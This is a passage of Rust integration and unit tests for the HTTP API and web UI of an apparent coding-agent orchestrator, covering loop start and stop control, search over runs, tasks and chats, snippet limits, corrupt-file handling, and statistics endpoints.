17595 assert_eq!(view["owned"], false);
17596 assert_eq!(
17597 view["stopping"], false,
17598 "a loop that has stopped is not still stopping: {view}"
17599 );
17600 assert_eq!(
17601 view["last_error"],
17602 Value::Null,
17603 "a loop that was asked to stop did not fail: {view}"
17604 );
17605
17606 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17609 assert_eq!(twice.status, 200, "{}", twice.body);
17610 }
17611
17612 #[tokio::test]
17613 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17614 let f = Fixture::start().await;
17615 write_daemon(f.home.path(), Timestamp::now());
17618
17619 let view = f.get("/api/loop").await.json();
17620 assert_eq!(view["running"], false, "not in this process: {view}");
17621 assert_eq!(view["owned"], false, "and not this process's to control");
17622 assert_eq!(
17623 view["daemon"]["running"], true,
17624 "but a loop is alive somewhere, which is what the UI must say"
17625 );
17626 assert_eq!(view["daemon"]["pid"], 4242);
17627
17628 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17629 let res = f.post("/api/loop", Some(body)).await;
17630 assert_eq!(
17631 res.status, 409,
17632 "neither button may pretend to work on someone else's loop: {}",
17633 res.body
17634 );
17635 assert!(
17636 res.json()["error"]
17637 .as_str()
17638 .is_some_and(|e| e.contains("4242")),
17639 "the refusal has to name the process the operator must go to: {}",
17640 res.body
17641 );
17642 }
17643 assert_eq!(
17644 f.get("/api/loop").await.json()["running"],
17645 false,
17646 "and the refusal started nothing"
17647 );
17648 }
17649
17650 #[tokio::test]
17651 async fn a_stale_status_file_is_not_a_foreign_owner() {
17652 let f = Fixture::start().await;
17653 write_daemon(
17654 f.home.path(),
17655 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17656 );
17657
17658 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17659 assert_eq!(
17660 res.status, 200,
17661 "a daemon killed a minute ago must not lock the loop out of its \
17662 own home for good: {}",
17663 res.body
17664 );
17665 assert_eq!(res.json()["running"], true);
17666
17667 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17668 }
17669
17670 #[tokio::test]
17671 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17672 let f = Fixture::start().await;
17673 let before = f.get("/api/health").await.json()["loop_rev"]
17674 .as_u64()
17675 .expect("a loop revision");
17676
17677 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17678
17679 let after = f.get("/api/health").await.json()["loop_rev"]
17680 .as_u64()
17681 .expect("a loop revision");
17682 assert!(
17683 after > before,
17684 "the loop is in-process state, so this counter is the only thing \
17685 that tells a second device the first one started it: {before} -> \
17686 {after}"
17687 );
17688
17689 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17690 }
17691
17692 #[tokio::test]
17693 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17694 let f = Fixture::with_loop(launch_broken).await;
17695
17696 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17697 assert_eq!(
17698 res.status, 200,
17699 "starting it is not the failure: {}",
17700 res.body
17701 );
17702
17703 let view = settled(&f, |v| v["last_error"].is_string()).await;
17704 assert_eq!(
17705 view["running"], false,
17706 "a loop that died must not read as running, or the operator has \
17707 nothing to press: {view}"
17708 );
17709 assert_eq!(view["owned"], false);
17710 assert!(
17711 view["last_error"]
17712 .as_str()
17713 .is_some_and(|e| e.contains("read-only file system")),
17714 "the phone is where a loop that died at 3am is visible: {view}"
17715 );
17716
17717 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17720 assert_eq!(again.status, 200, "{}", again.body);
17721 assert!(
17722 again.json()["last_error"]
17723 .as_str()
17724 .is_none_or(|e| !e.contains("read-only file system")),
17725 "a fresh start does not keep showing why the last one died: {}",
17726 again.body
17727 );
17728 }
17729
17730 #[tokio::test]
17731 async fn a_newer_daemon_status_file_still_renders() {
17732 let f = Fixture::start().await;
17733 std::fs::write(
17736 f.home.path().join("daemon.json"),
17737 serde_json::json!({
17738 "schema": 2,
17739 "updated_at": Timestamp::now().to_string(),
17740 "idle": true,
17741 "surprise": { "nested": [1, 2, 3] },
17742 })
17743 .to_string(),
17744 )
17745 .expect("write daemon.json");
17746
17747 let health = f.get("/api/health").await;
17748
17749 assert_eq!(health.status, 200);
17750 assert_eq!(health.json()["daemon"]["running"], true);
17751 }
17752
17753 #[tokio::test]
17754 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17755 let f = Fixture::start().await;
17756 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17757 let broken = f.runs().join("20260902-140502-bad");
17758 std::fs::create_dir_all(&broken).expect("run dir");
17759 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17760
17761 let list = f.get("/api/runs").await;
17762 let detail = f.get("/api/runs/20260902-140502-bad").await;
17763
17764 assert_eq!(list.status, 200);
17765 let listed = list.json();
17766 let ids: Vec<&str> = listed
17767 .as_array()
17768 .expect("an array")
17769 .iter()
17770 .map(|r| r["id"].as_str().expect("an id"))
17771 .collect();
17772 assert_eq!(
17773 ids,
17774 vec!["20260902-140501-good"],
17775 "one unreadable run must not cost the operator the whole history"
17776 );
17777 assert_eq!(detail.status, 500);
17778 assert!(
17779 detail.json()["error"]
17780 .as_str()
17781 .is_some_and(|e| e.contains("run.json")),
17782 "the failure names the file to look at: {}",
17783 detail.body
17784 );
17785 let health = f.get("/api/health").await;
17789 assert_eq!(health.json()["runs_unreadable"], 1);
17790 }
17791
17792 #[tokio::test]
17794 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17795 let f = Fixture::start().await;
17796 let runs = f.runs();
17797 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17798 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17799 let path = runs.join("20260902-140502-bbbb").join("run.json");
17802 let mut v: serde_json::Value =
17803 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17804 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17805 std::fs::write(&path, v.to_string()).unwrap();
17806 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17807 std::fs::write(
17808 runs.join("20260902-140503-cccc").join("run.json"),
17809 "{ not json",
17810 )
17811 .unwrap();
17812
17813 let res = f.get("/api/search?scope=runs&q=quokka").await;
17814 assert_eq!(res.status, 200, "{}", res.body);
17815 let v = res.json();
17816 assert_eq!(v["total"], 1, "{v}");
17817 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17818 assert_eq!(v["hits"][0]["field"], "text");
17819 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17820 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17821 assert!(
17822 parts
17823 .iter()
17824 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17825 "{v}"
17826 );
17827 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17828 assert_eq!(
17829 flat, "The Quokka leaks across threads",
17830 "whitespace is collapsed"
17831 );
17832
17833 let both = f
17835 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17836 .await
17837 .json();
17838 assert_eq!(both["total"], 1, "{both}");
17839 let neither = f
17840 .get("/api/search?scope=runs&q=quokka%20zebra")
17841 .await
17842 .json();
17843 assert_eq!(neither["total"], 0, "{neither}");
17844 let stmt = f
17846 .get("/api/search?scope=runs&q=mobile%20first")
17847 .await
17848 .json();
17849 assert_eq!(stmt["total"], 2, "{stmt}");
17850 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17851 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17852 }
17853
17854 #[test]
17855 fn snippet_ignores_terms_longer_than_the_field() {
17856 let terms = ["ok".to_owned(), "elephant".to_owned()];
17857 let parts = snippet_of("ok", &terms);
17858 assert_eq!(
17859 parts,
17860 vec![SnippetPart {
17861 text: "ok".to_owned(),
17862 hit: true
17863 }]
17864 );
17865 }
17866
17867 #[test]
17868 fn snippet_marks_matches_longer_than_the_window() {
17869 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17870 let hit_len = |parts: &[SnippetPart]| -> usize {
17871 parts
17872 .iter()
17873 .filter(|p| p.hit)
17874 .map(|p| p.text.chars().count())
17875 .sum()
17876 };
17877 let total =
17878 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17879
17880 let long = "a".repeat(120);
17881 let parts = snippet_of(&long, std::slice::from_ref(&long));
17882 assert!(hit_len(&parts) > 0, "{parts:?}");
17883 assert!(total(&parts) <= cap);
17884
17885 let ja = "あ".repeat(130);
17886 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17887 assert!(hit_len(&parts) > 0, "{parts:?}");
17888 assert!(total(&parts) <= cap);
17889
17890 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17892 let term = format!("ab{}", "c".repeat(100));
17893 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17894 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17895 assert!(total(&parts) <= cap);
17896
17897 let text = format!("{}z", "a".repeat(119));
17899 let parts = snippet_of(&text, &["a".repeat(120)]);
17900 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17901 }
17902
17903 #[tokio::test]
17904 async fn search_caps_hits_and_snippet_length() {
17905 let f = Fixture::start().await;
17906 let runs = f.runs();
17907 for n in 0..(SEARCH_MAX_HITS + 5) {
17908 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17909 }
17910 let v = f.get("/api/search?scope=runs&q=web").await.json();
17911 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17912 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17913 assert_eq!(v["truncated"], true);
17914 assert!(
17916 v["hits"]
17917 .as_array()
17918 .unwrap()
17919 .iter()
17920 .all(|h| h["run"]["status"] == "merged")
17921 );
17922
17923 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17924 let parts = snippet_of(&long, &["needle".to_owned()]);
17925 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17926 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17927 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17928 }
17929
17930 #[tokio::test]
17931 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17932 let f = Fixture::start().await;
17933 let queue = f.queue();
17934 let mut t = Task::new(
17935 "short title".to_owned(),
17936 "line one\nthe hidden Armadillo detail".to_owned(),
17937 PathBuf::from("/repo/magi"),
17938 Source::Agent {
17939 run: "r1".to_owned(),
17940 node: "chat".to_owned(),
17941 },
17942 );
17943 t.last_error = Some("disk full on /tmp".to_owned());
17944 queue.put(&mut t).expect("file the task");
17945
17946 for (q, want) in [
17947 ("armadillo", 1),
17948 ("disk%20FULL", 1),
17949 ("chat", 1),
17950 ("queued", 1),
17951 ("short%20nothing", 0),
17952 ] {
17953 let v = f
17954 .get(&format!("/api/search?scope=tasks&q={q}"))
17955 .await
17956 .json();
17957 assert_eq!(v["total"], want, "{q}: {v}");
17958 }
17959 for bad in [
17960 "/api/search?scope=tasks&q=",
17961 "/api/search?scope=tasks&q=%20",
17962 "/api/search?scope=chats&q=",
17963 "/api/search?scope=chats&q=%20",
17964 "/api/search?scope=nope&q=a",
17965 "/api/search?q=a",
17966 ] {
17967 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17968 }
17969 }
17970
17971 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17973 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17974 .expect("seat value");
17975 let turns: Vec<serde_json::Value> = turns
17976 .iter()
17977 .map(|(who, body)| {
17978 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17979 })
17980 .collect();
17981 let doc = serde_json::json!({
17982 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17983 "status": status, "turns": turns,
17984 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17985 "seat": seat,
17986 });
17987 let dir = f.home.path().join("talks");
17988 std::fs::create_dir_all(&dir).expect("talks dir");
17989 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17990 }
17991
17992 #[test]
17993 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
17994 let mut talk: Talk = serde_json::from_value(serde_json::json!({
17995 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
17996 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
17997 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
17998 "seat": crate::agent::SeatState::new("talk", "test", 1)
17999 })).unwrap();
18000 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18001 talk.title = Some(talk::ChatTitle {
18002 text: "最近の話題".into(),
18003 source: talk::TitleSource::Generated,
18004 });
18005 let doc = talk_search_doc(&talk);
18006 assert_eq!(doc["title"], "最近の話題");
18007 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18008 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18009 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18010 }
18011
18012 #[tokio::test]
18013 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18014 let f = Fixture::start().await;
18015 write_talk(
18016 &f,
18017 "20260901-000001-aaaa",
18018 "open",
18019 &[
18020 (
18021 "operator",
18022 "\n Why does the Pangolin cache expire?\nsecond line",
18023 ),
18024 ("agent", "Because the TTL is thirty seconds."),
18025 ],
18026 );
18027 write_talk(
18028 &f,
18029 "20260901-000002-bbbb",
18030 "closed",
18031 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18032 );
18033 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18034
18035 let search = |q: &'static str| {
18036 let f = &f;
18037 async move {
18038 f.get(&format!("/api/search?scope=chats&q={q}"))
18039 .await
18040 .json()
18041 }
18042 };
18043
18044 let v = search("PANGOLIN").await;
18045 assert_eq!(v["scope"], "chats");
18046 assert_eq!(v["total"], 1, "{v}");
18047 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18048 assert_eq!(v["hits"][0]["field"], "title");
18049 assert_eq!(v["unreadable"], 1, "{v}");
18050 let marked: Vec<&str> = v["hits"][0]["snippet"]
18051 .as_array()
18052 .unwrap()
18053 .iter()
18054 .filter(|p| p["hit"] == true)
18055 .map(|p| p["text"].as_str().unwrap())
18056 .collect();
18057 assert_eq!(marked, ["Pangolin"]);
18058
18059 let v = search("zebra").await;
18061 assert_eq!(v["total"], 1, "{v}");
18062 assert_eq!(v["hits"][0]["field"], "agent");
18063 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18065 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18066 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18068 assert_eq!(search(q).await["total"], 0, "{q}");
18069 }
18070 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18072 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18074
18075 let v = f.get("/api/search?scope=nope&q=a").await;
18076 assert_eq!(v.status, 400);
18077 assert!(
18078 v.body.contains("scope must be runs, tasks or chats"),
18079 "{}",
18080 v.body
18081 );
18082 }
18083
18084 #[test]
18085 fn a_question_card_links_a_task_id_to_the_task_page() {
18086 let start = APP_JS
18087 .find("function updateAskCard(")
18088 .expect("updateAskCard exists");
18089 let body = &APP_JS[start..];
18090 let body = &body[..body.find("\n}\n").expect("function end")];
18091 assert!(body.contains("question.run_is_task"));
18092 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18093 assert!(body.contains("`#/runs/${question.run}`"));
18094 assert!(body.contains("\"task\" : \"run\""));
18095 }
18096
18097 #[test]
18098 fn plain_text_message_surfaces_go_through_linkify() {
18099 assert!(APP_JS.contains("function linkify("));
18100 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18101 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18102 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18103 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18104 assert!(!APP_JS.contains("innerHTML = text"));
18105 }
18106
18107 #[test]
18108 fn implementation_rate_views_keep_independent_samples() {
18109 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18110 let a = stats::AgentStats {
18111 competitive_entered: competitive_n,
18112 competitive_wins: usize::from(competitive_n > 0),
18113 solo_entered: solo_n,
18114 solo_adopted: 2 * usize::from(solo_n > 0),
18115 ..Default::default()
18116 };
18117 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18118 for (key, n, numerator) in [
18119 ("competitive_win_rate", competitive_n, a.competitive_wins),
18120 ("solo_adoption_rate", solo_n, a.solo_adopted),
18121 ] {
18122 if n == 0 {
18123 assert!(v[key].is_null());
18124 } else {
18125 assert_eq!(v[key]["denominator"], n);
18126 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18127 }
18128 }
18129 }
18130 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18131 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18132 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18133 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18134 }
18135
18136 #[test]
18137 fn stats_bars_share_one_id_keyed_plan() {
18138 let start = APP_JS
18139 .find("function statsBarRows(")
18140 .expect("statsBarRows exists");
18141 let body = &APP_JS[start..];
18142 let body = &body[..body.find("\n}\n").expect("function end")];
18143 assert!(body.contains("statsBarPlan(rows)"));
18144 assert!(body.contains("statsAgentTone(row.agent)"));
18145 assert!(!body.contains("candTone(i)"));
18146 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18147 for root in [
18148 "stats-agents-bars",
18149 "stats-solo-bars",
18150 "stats-reviewers-bars",
18151 ] {
18152 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18153 }
18154 }
18155
18156 #[test]
18157 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18158 let start = APP_JS
18159 .find("function renderStatsReviewerScatter(")
18160 .expect("renderStatsReviewerScatter exists");
18161 let body = &APP_JS[start..];
18162 let body = &body[..body.find("\n}\n").expect("function end")];
18163 assert!(body.contains("statsScatterPlan(reviewers)"));
18164 assert!(body.contains("statsAgentTone(d.agent)"));
18165 assert!(APP_JS.contains("function statsScatterPlan("));
18166 assert!(
18167 APP_JS.contains("d.submitted < STATS_LOW_N")
18168 || APP_JS.contains("r.submitted < STATS_LOW_N")
18169 );
18170 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18171 assert!(APP_CSS.contains(".precision-scatter"));
18172 }
18173
18174 #[test]
18175 fn advisor_reflection_is_drawn_as_stacked_segments() {
18176 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18177 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18178 let html = include_str!("../assets/ui/index.html");
18179 assert!(html.contains("Approximate"));
18180 for label in ["reflected strongly", "faint", "no proposal"] {
18181 assert!(html.contains(label));
18182 }
18183 let css = include_str!("../assets/ui/app.css");
18184 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18185 assert!(css.contains(&format!(".{c} {{")));
18186 }
18187 }
18188
18189 #[test]
18190 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18191 assert!(APP_JS.contains("function statsDailyPlan("));
18192 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18193 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18194 }
18195
18196 #[test]
18197 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18198 let start = APP_JS
18199 .find("function scheduleSearch(")
18200 .expect("scheduleSearch exists");
18201 let body = &APP_JS[start..];
18202 let body = &body[..body.find("\n}\n").expect("function end")];
18203 assert!(body.contains("s.seq += 1"));
18204 }
18205
18206 #[tokio::test]
18211 async fn stats_runs_unreadable_matches_health() {
18212 let f = Fixture::start().await;
18213 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18214 let broken = f.runs().join("20260902-140502-bad");
18215 std::fs::create_dir_all(&broken).expect("run dir");
18216 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18217
18218 let stats = f.get("/api/stats").await;
18219 let health = f.get("/api/health").await;
18220
18221 assert_eq!(stats.status, 200);
18222 assert_eq!(stats.json()["totals"]["runs"], 1);
18223 assert_eq!(stats.json()["runs_unreadable"], 1);
18224 assert_eq!(
18225 stats.json()["runs_unreadable"],
18226 health.json()["runs_unreadable"],
18227 "the dashboard and /api/health must never disagree about how many \
18228 runs could not be read"
18229 );
18230 }
18231
18232 #[tokio::test]
18233 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18234 let f = Fixture::start().await;
18235 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18236 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18237 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18238
18239 let totals = &f.get("/api/stats").await.json()["totals"];
18240 assert_eq!(totals["runs"], 3);
18241 assert_eq!(totals["merged"], 1);
18242 assert_eq!(totals["stalled"], 1);
18243 assert_eq!(totals["in_progress"], 1);
18244 assert_eq!(totals["blocked"], 0);
18247 assert_eq!(totals["ready"], 0);
18248 }
18249
18250 #[tokio::test]
18251 async fn stats_advisors_report_proposals_and_reflection() {
18252 use crate::advise::{Advice, AdvisorRecord, Reflection};
18253 use crate::verdict::Proposal;
18254
18255 let f = Fixture::start().await;
18256 let mut state = RunState::new(
18257 PathBuf::from("/repo/magi"),
18258 "main".to_owned(),
18259 "0123456789abcdef".to_owned(),
18260 "task".to_owned(),
18261 Config::default(),
18262 );
18263 state.id = "20260902-140501-a".to_owned();
18264 state.status = RunStatus::Merged;
18265 state.advice = Some(Advice {
18266 records: vec![
18267 AdvisorRecord {
18268 seat: "advisor-1".to_owned(),
18269 agent: "alpha".to_owned(),
18270 proposal: Some(Proposal {
18271 approach: "do it".to_owned(),
18272 key_tradeoff: "speed over memory".to_owned(),
18273 risks: Vec::new(),
18274 touches: Vec::new(),
18275 why_not_naive: "breaks under load".to_owned(),
18276 }),
18277 error: None,
18278 duration_ms: 0,
18279 reflection: Reflection::Strong,
18280 },
18281 AdvisorRecord {
18282 seat: "advisor-2".to_owned(),
18283 agent: "alpha".to_owned(),
18284 proposal: None,
18285 error: Some("timed out".to_owned()),
18286 duration_ms: 0,
18287 reflection: Reflection::Absent,
18288 },
18289 ],
18290 synthesis: Some("blended brief".to_owned()),
18291 });
18292 let dir = f.runs().join(&state.id);
18293 std::fs::create_dir_all(&dir).expect("run dir");
18294 std::fs::write(
18295 dir.join("run.json"),
18296 serde_json::to_string_pretty(&state).expect("serialize run"),
18297 )
18298 .expect("write run.json");
18299
18300 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18302 let alpha = advisors
18303 .as_array()
18304 .expect("an array")
18305 .iter()
18306 .find(|a| a["agent"] == "alpha")
18307 .expect("alpha row");
18308 assert_eq!(alpha["seated"], 2);
18309 assert_eq!(alpha["proposed"], 1);
18310 assert_eq!(alpha["absent"], 1);
18311 assert_eq!(alpha["strong"], 1);
18312 assert_eq!(alpha["faint"], 0);
18313 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18314 }
18315
18316 #[tokio::test]
18317 async fn stats_hides_agents_outside_the_roster_unless_all() {
18318 use crate::run::Candidate;
18319 let repo = TempDir::new().expect("repo dir");
18320 std::fs::write(
18321 repo.path().join("magi.toml"),
18322 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18323 )
18324 .expect("magi.toml");
18325 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18326 let mut state = RunState::new(
18327 PathBuf::from("/repo/magi"),
18328 "main".to_owned(),
18329 "0123456789abcdef".to_owned(),
18330 "task".to_owned(),
18331 Config::default(),
18332 );
18333 state.id = "20260902-140501-a".to_owned();
18334 state.status = RunStatus::Merged;
18335 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18336 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18337 "index": 0, "label": label.to_string(), "agent": agent,
18338 "branch": "b", "worktree": "/w",
18339 }))
18340 .expect("candidate");
18341 c.label = label;
18342 state.candidates.push(c);
18343 }
18344 let dir = f.runs().join(&state.id);
18345 std::fs::create_dir_all(&dir).expect("run dir");
18346 std::fs::write(
18347 dir.join("run.json"),
18348 serde_json::to_string_pretty(&state).expect("serialize run"),
18349 )
18350 .expect("write run.json");
18351
18352 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18353 v["agents"]
18354 .as_array()
18355 .expect("array")
18356 .iter()
18357 .map(|a| a["agent"].as_str().unwrap().to_owned())
18358 .collect()
18359 };
18360 let hidden = f.get("/api/stats").await.json();
18361 assert_eq!(agents_of(&hidden), ["keep"]);
18362 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18363 assert_eq!(hidden["totals"]["runs"], 1);
18364
18365 let all = f.get("/api/stats?all=true").await.json();
18366 assert_eq!(agents_of(&all).len(), 2);
18367 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18368 let keep_agent = all["agents"]
18370 .as_array()
18371 .unwrap()
18372 .iter()
18373 .find(|a| a["agent"] == "keep")
18374 .unwrap();
18375 assert_eq!(keep_agent["competitive_entered"], 1);
18376 assert_eq!(keep_agent["competitive_wins"], 0);
18377 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18378 assert_eq!(keep_agent["solo_entered"], 0);
18379 assert_eq!(keep_agent["solo_adopted"], 0);
18380 assert!(keep_agent["solo_adoption_rate"].is_null());
18381 }
18382
18383 #[tokio::test]
18384 async fn stats_release_bumps_split_clean_from_attention() {
18385 use crate::run::ReleaseBump;
18386
18387 let f = Fixture::start().await;
18388
18389 let mut clean = RunState::new(
18390 PathBuf::from("/repo/magi"),
18391 "main".to_owned(),
18392 "0123456789abcdef".to_owned(),
18393 "task".to_owned(),
18394 Config::default(),
18395 );
18396 clean.id = "20260902-140501-a".to_owned();
18397 clean.status = RunStatus::Merged;
18398 clean.release_bump = Some(ReleaseBump {
18399 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18400 version: Some("1.0.0".to_owned()),
18401 automerge_enabled: true,
18402 merged_directly: false,
18403 local: false,
18404 release: None,
18405 problem: None,
18406 action_required: None,
18407 skipped: None,
18408 });
18409
18410 let mut blocked = RunState::new(
18411 PathBuf::from("/repo/magi"),
18412 "main".to_owned(),
18413 "0123456789abcdef".to_owned(),
18414 "task".to_owned(),
18415 Config::default(),
18416 );
18417 blocked.id = "20260902-140502-b".to_owned();
18418 blocked.status = RunStatus::Merged;
18419 blocked.release_bump = Some(ReleaseBump {
18420 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18421 version: Some("1.0.1".to_owned()),
18422 automerge_enabled: false,
18423 merged_directly: false,
18424 local: false,
18425 release: None,
18426 problem: Some("checks red".to_owned()),
18427 action_required: Some("look at the PR".to_owned()),
18428 skipped: None,
18429 });
18430
18431 for state in [&clean, &blocked] {
18432 let dir = f.runs().join(&state.id);
18433 std::fs::create_dir_all(&dir).expect("run dir");
18434 std::fs::write(
18435 dir.join("run.json"),
18436 serde_json::to_string_pretty(state).expect("serialize run"),
18437 )
18438 .expect("write run.json");
18439 }
18440
18441 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18442 assert_eq!(bumps["merged"], 2);
18443 assert_eq!(bumps["recorded"], 2);
18444 assert_eq!(bumps["pr_opened"], 2);
18445 assert_eq!(bumps["automerge_enabled"], 1);
18446 assert_eq!(bumps["needs_attention"], 1);
18447 assert_eq!(bumps["clean"], 1);
18448 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18449 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18450 }
18451
18452 #[tokio::test]
18453 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18454 let f = Fixture::start().await;
18455 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18456
18457 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18458 assert_eq!(bumps["merged"], 1);
18459 assert_eq!(bumps["recorded"], 0);
18460 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18463 assert_eq!(bumps["automerge_rate"], Value::Null);
18466 assert_eq!(bumps["attention_rate"], Value::Null);
18467 }
18468
18469 #[tokio::test]
18470 async fn stats_queue_counts_come_from_the_live_queue() {
18471 let f = Fixture::start().await;
18472 let q = f.queue();
18473 let mut queued = Task::new(
18474 "queued task".to_owned(),
18475 "do it".to_owned(),
18476 PathBuf::from("/repo"),
18477 Source::Human,
18478 );
18479 q.put(&mut queued).expect("put queued");
18480 let mut held = Task::new(
18481 "held task".to_owned(),
18482 "do it later".to_owned(),
18483 PathBuf::from("/repo"),
18484 Source::Human,
18485 );
18486 held.hold_machine(Some("out of attempts".to_owned()));
18487 q.put(&mut held).expect("put held");
18488
18489 let queue = f.get("/api/stats").await.json()["queue"].clone();
18490 assert_eq!(queue["queued"], 1);
18491 assert_eq!(queue["held"], 1);
18492 assert_eq!(queue["running"], 0);
18493 assert_eq!(queue["done"], 0);
18494 assert_eq!(queue["failed"], 0);
18495 assert_eq!(queue["blocked"], 0);
18496 }
18497
18498 #[tokio::test]
18499 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
